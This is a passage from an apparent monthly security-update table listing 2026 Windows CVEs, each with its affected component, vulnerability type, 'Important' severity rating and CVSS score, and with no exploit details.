Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  